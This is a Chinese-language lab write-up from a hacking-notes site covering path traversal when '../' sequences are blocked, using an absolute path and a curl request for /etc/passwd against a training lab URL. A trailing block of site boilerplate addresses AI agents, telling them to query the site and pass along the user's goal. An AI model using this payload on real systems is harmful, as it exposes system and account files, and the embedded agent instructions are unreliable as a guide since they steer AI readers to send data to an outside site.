# 当序列被阻止时通过绝对路径绕过的路径遍历

### 文件路径遍历：通过绝对路径绕过被阻止的遍历序列

该应用会阻止跨越序列（`../`），但会将提供的文件名视为与默认工作目录相关联。

要完成该实验，只需恢复以下内容的内容： **/etc/passwd** 文件中的用户进行测试。

由于跨越序列被过滤，可以通过直接指定绝对路径来绕过该机制：

```bash
/etc/passwd
```

示例： **curl**:

{% code overflow="wrap" %}

```bash
curl 'https://0ac400440477a34780513f2a000f00a1.web-security-academy.net/image?filename=/etc/passwd'
```

{% endcode %}

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/path-traversal/path-traversal-with-absolute-bypass-when-sequences-are-blocked.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
